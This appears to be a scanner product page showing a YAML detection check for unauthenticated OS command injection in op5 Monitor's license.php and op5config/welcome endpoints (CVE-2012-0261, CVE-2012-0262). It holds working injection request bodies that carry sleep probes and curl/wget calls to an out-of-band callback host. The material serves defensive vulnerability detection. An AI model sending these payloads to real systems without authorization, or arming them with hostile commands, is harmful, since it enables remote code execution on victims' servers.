op5 Monitor — 1 vulnerability check

noctis ships 1 vulnerability check for op5 Monitor, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

op5 Monitor / Appliance license.php and op5config/welcome Command Injection

CVECVE-2012-0261, CVE-2012-0262
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, script, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/op5-monitor/op5-monitor-license-welcome-rce.yaml

Detects the unauthenticated OS command injection in op5 Monitor and op5 Appliance before 5.5.3, in the `timestamp` parameter of POST /license.php (CVE-2012-0261) and the `password` parameter of POST /op5config/welcome (CVE-2012-0262). Each endpoint is confirmed blind and benign: when OOB is configured, an injected curl/wget must fetch a per-run callback URL whose token only a shell can rebuild ($()-split); otherwise an injected sleep must delay the reply in proportion to its argument against a fast `sleep 0` control request. Each finding names the CVE of the endpoint it proved.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /license.php with a crafted body
  3. Checks lic_ctrl.body for [\s\S]*
  4. HTTP(S) request POST /license.php with a crafted body
  5. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: op5 Monitor license.php Command Injection (CVE-2012-0261)
  6. HTTP(S) request POST /license.php with a crafted body
  7. HTTP(S) request POST /license.php with a crafted body
  8. Checks lic_slow3.body for [\s\S]* → finding QoD 75: op5 Monitor license.php Command Injection (CVE-2012-0261)
  9. Waits for an out-of-band callback from the target (blind confirmation)
  10. Checks lic_late for [\s\S]* → finding QoD 97: op5 Monitor license.php Command Injection (CVE-2012-0261)
  11. HTTP(S) request POST /op5config/welcome with a crafted body
  12. Checks wel_ctrl.body for [\s\S]*
  13. HTTP(S) request POST /op5config/welcome with a crafted body
  14. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: op5 Monitor op5config/welcome Command Injection (CVE-2012-0262)
  15. … and 3 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/op5-monitor/op5-monitor-license-welcome-rce.yaml
# op5 Monitor / op5 Appliance < 5.5.3 — unauthenticated OS command injection
# in two web endpoints (CVE-2012-0261, CVE-2012-0262):
#   * CVE-2012-0261 — POST /license.php (system-portal < 1.6.2): the `timestamp`
#     parameter of the `install` action reaches a shell unescaped.
#   * CVE-2012-0262 — POST /op5config/welcome (system-op5config < 2.0.3): the
#     `password` parameter reaches a shell unescaped.
#
# Ported from OpenVAS/Greenbone NVT `2012/gb_op5_51212.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103380, GPL-2.0-only), which probes license.php
# only. Request shapes match the Metasploit modules
# `exploits/multi/http/op5_license` (`timestamp=1317050333`<cmd>`&action=install&install=Install`)
# and `exploits/multi/http/op5_welcome` (`do=do=Login&password=`<cmd>``, the
# body exactly as the module sends it).
#
# Neither endpoint echoes the command output, so both proofs are blind and
# benign (nothing written, read or persisted):
#   1. OOB callback (QoD 97, only when OOB is configured). The injected command
#      is `curl -s -o /dev/null <url> || wget -q -O /dev/null <url>` where the
#      URL path is the per-run oob_token split by an empty $(): only a real
#      shell rebuilds the token, a URL-fetching proxy/IDS hits a wrong path.
#      The run has one OOB token, so it goes to license.php first; welcome gets
#      it only when license.php did not call back.
#   2. Time differential (QoD 75, when OOB is off, did not fire, or the token
#      was already used by the other endpoint). A `sleep 0` control must answer
#      (not 404) in under 3 s, `sleep 6` must take >= control + 5 s and
#      `sleep 3` must take >= control + 2.5 s, under control + 5.5 s and at least 2 s
#      less than the 6 s probe —
#      a uniformly slow or tarpitting host cannot satisfy all of them. `duration_ms`
#      covers the full response (#1924), so a server that flushes its headers
#      before running the command is caught too.
#
# Deviations from the NASL (intentional, stronger detection): the NASL sends
# sleep 3/5/10 to license.php with no baseline and accepts each delay inside a
# [N, N+5] s window, so a host slow on every request can be reported; the
# control + scaling check removes that false positive. The OOB branch adds a
# non-timing proof, and the welcome endpoint (CVE-2012-0262, not probed by the
# NASL) is tested too. Each finding names only the CVE its endpoint proves.
uid: a64efc3f-a689-4edc-84ea-25b0a8ec728f
name: "op5 Monitor / Appliance license.php and op5config/welcome Command Injection"
description: |
  Detects the unauthenticated OS command injection in op5 Monitor and op5
  Appliance before 5.5.3, in the `timestamp` parameter of POST /license.php
  (CVE-2012-0261) and the `password` parameter of POST /op5config/welcome
  (CVE-2012-0262). Each endpoint is confirmed blind and benign: when OOB is
  configured, an injected curl/wget must fetch a per-run callback URL whose
  token only a shell can rebuild ($()-split); otherwise an injected sleep must
  delay the reply in proportion to its argument against a fast `sleep 0`
  control request. Each finding names the CVE of the endpoint it proved.
category: rce
cves: [CVE-2012-0261, CVE-2012-0262]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [op5, op5-monitor, op5-appliance, nagios, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-0261"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-0262"
  - "https://bugs.op5.com/view.php?id=5094"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/op5_license.rb"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/op5_welcome.rb"

steps:
  - id: init
    action: set_var
    var_name: oob_used
    var_value: false

  - id: init-lic-ok
    action: set_var
    var_name: lic_ok
    var_value: false

  - id: init-lic-done
    action: set_var
    var_name: lic_done
    var_value: false

  - id: init-lic-late
    action: set_var
    var_name: lic_late_hit
    var_value: false

  - id: init-wel-ok
    action: set_var
    var_name: wel_ok
    var_value: false

  - id: init-wel-done
    action: set_var
    var_name: wel_done
    var_value: false

  # Split the OOB token around an empty $() (sent as %24%28%29) so that only a
  # shell collapses it back into /<oob_token>.
  - id: split-oob-token
    action: script
    condition: "oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  # ══ CVE-2012-0261 — POST /license.php, `timestamp` ═══════════════════════
  - id: lic-control
    action: http_request
    method: POST
    path: /license.php
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "timestamp=1317050333%60sleep%200%60&action=install&install=Install"
    store_as: lic_ctrl

  - id: lic-gate
    action: match
    source: lic_ctrl.body
    pattern: "[\\s\\S]*"
    condition: "lic_ctrl.status != 404 && lic_ctrl.duration_ms < 3000"
    on_match:
      set_vars:
        lic_ok: true

  - id: lic-inject-oob
    action: http_request
    method: POST
    path: /license.php
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "lic_ok == true && oob_enabled"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "timestamp=1317050333%60curl%20-s%20-m%205%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20wget%20-q%20-T%205%20-t%201%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%60&action=install&install=Install"
    store_as: lic_oob_req

  - id: lic-wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "lic_ok == true && oob_enabled"
    store_as: lic_oob
    on_success:
      finding:
        cves: [CVE-2012-0261]
        title: "op5 Monitor license.php Command Injection (CVE-2012-0261)"
        confidence_delta: 0.67
        qod: 97
        evidence: "op5 license.php command injection confirmed: the curl/wget injected in the timestamp parameter fetched the per-run OOB URL, whose token only a shell could rebuild from its $()-split form (HTTP callback received)"
      set_vars:
        oob_used: true
        lic_done: true

  - id: lic-sleep6
    action: http_request
    method: POST
    path: /license.php
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "lic_ok == true && lic_done == false"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "timestamp=1317050333%60sleep%206%60&action=install&install=Install"
    store_as: lic_slow6

  - id: lic-sleep3
    action: http_request
    method: POST
    path: /license.php
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "lic_ok == true && lic_done == false && lic_slow6.duration_ms >= lic_ctrl.duration_ms + 5000"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "timestamp=1317050333%60sleep%203%60&action=install&install=Install"
    store_as: lic_slow3

  # lic_slow3 only exists when the 6 s probe already held; an undefined
  # lic_slow3 makes the condition false.
  - id: lic-confirm-timing
    action: match
    source: lic_slow3.body
    pattern: "[\\s\\S]*"
    condition: "lic_ok == true && lic_done == false && lic_slow3.duration_ms >= lic_ctrl.duration_ms + 2500 && lic_slow3.duration_ms < lic_ctrl.duration_ms + 5500 && lic_slow3.duration_ms + 2000 <= lic_slow6.duration_ms"
    on_match:
      finding:
        cves: [CVE-2012-0261]
        title: "op5 Monitor license.php Command Injection (CVE-2012-0261)"
        confidence_delta: 0.62
        qod: 75
        evidence: "op5 license.php command injection confirmed by timing: control `sleep 0` in the timestamp parameter answered in {{lic_ctrl.duration_ms}} ms, `sleep 6` in {{lic_slow6.duration_ms}} ms and `sleep 3` in {{lic_slow3.duration_ms}} ms (delay scales with the injected argument)"
      set_vars:
        lic_done: true

  # A license.php callback that arrives after lic-wait-callback gave up is
  # still license.php's (only it has injected so far): pick it up here so the
  # welcome branch never credits it to CVE-2012-0262.
  - id: lic-late-callback
    action: wait_oob
    oob_timeout_secs: 2
    condition: "lic_ok == true && oob_enabled && oob_used == false"
    store_as: lic_late
    on_success:
      set_vars:
        oob_used: true
        lic_late_hit: true

  - id: lic-late-finding
    action: match
    source: lic_late
    pattern: "[\\s\\S]*"
    condition: "lic_late_hit == true && lic_done == false"
    on_match:
      finding:
        cves: [CVE-2012-0261]
        title: "op5 Monitor license.php Command Injection (CVE-2012-0261)"
        confidence_delta: 0.67
        qod: 97
        evidence: "op5 license.php command injection confirmed: the curl/wget injected in the timestamp parameter fetched the per-run OOB URL, whose token only a shell could rebuild from its $()-split form (late HTTP callback received)"
      set_vars:
        lic_done: true

  # ══ CVE-2012-0262 — POST /op5config/welcome, `password` ══════════════════
  - id: wel-control
    action: http_request
    method: POST
    path: /op5config/welcome
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "do=do=Login&password=%60sleep%200%60"
    store_as: wel_ctrl

  - id: wel-gate
    action: match
    source: wel_ctrl.body
    pattern: "[\\s\\S]*"
    condition: "wel_ctrl.status != 404 && wel_ctrl.duration_ms < 3000"
    on_match:
      set_vars:
        wel_ok: true

  # The run has a single OOB token: only use it here when license.php did not
  # already call back with it.
  - id: wel-inject-oob
    action: http_request
    method: POST
    path: /op5config/welcome
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "wel_ok == true && oob_enabled && oob_used == false"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "do=do=Login&password=%60curl%20-s%20-m%205%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20wget%20-q%20-T%205%20-t%201%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%60"
    store_as: wel_oob_req

  - id: wel-wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "wel_ok == true && oob_enabled && oob_used == false"
    store_as: wel_oob
    on_success:
      finding:
        cves: [CVE-2012-0262]
        title: "op5 Monitor op5config/welcome Command Injection (CVE-2012-0262)"
        confidence_delta: 0.67
        qod: 97
        evidence: "op5 op5config/welcome command injection confirmed: the curl/wget injected in the password parameter fetched the per-run OOB URL, whose token only a shell could rebuild from its $()-split form (HTTP callback received)"
      set_vars:
        oob_used: true
        wel_done: true

  - id: wel-sleep6
    action: http_request
    method: POST
    path: /op5config/welcome
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "wel_ok == true && wel_done == false"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "do=do=Login&password=%60sleep%206%60"
    store_as: wel_slow6

  - id: wel-sleep3
    action: http_request
    method: POST
    path: /op5config/welcome
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "wel_ok == true && wel_done == false && wel_slow6.duration_ms >= wel_ctrl.duration_ms + 5000"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "do=do=Login&password=%60sleep%203%60"
    store_as: wel_slow3

  - id: wel-confirm-timing
    action: match
    source: wel_slow3.body
    pattern: "[\\s\\S]*"
    condition: "wel_ok == true && wel_done == false && wel_slow3.duration_ms >= wel_ctrl.duration_ms + 2500 && wel_slow3.duration_ms < wel_ctrl.duration_ms + 5500 && wel_slow3.duration_ms + 2000 <= wel_slow6.duration_ms"
    on_match:
      finding:
        cves: [CVE-2012-0262]
        title: "op5 Monitor op5config/welcome Command Injection (CVE-2012-0262)"
        confidence_delta: 0.62
        qod: 75
        evidence: "op5 op5config/welcome command injection confirmed by timing: control `sleep 0` in the password parameter answered in {{wel_ctrl.duration_ms}} ms, `sleep 6` in {{wel_slow6.duration_ms}} ms and `sleep 3` in {{wel_slow3.duration_ms}} ms (delay scales with the injected argument)"
      set_vars:
        wel_done: true

View these feeds on GitHub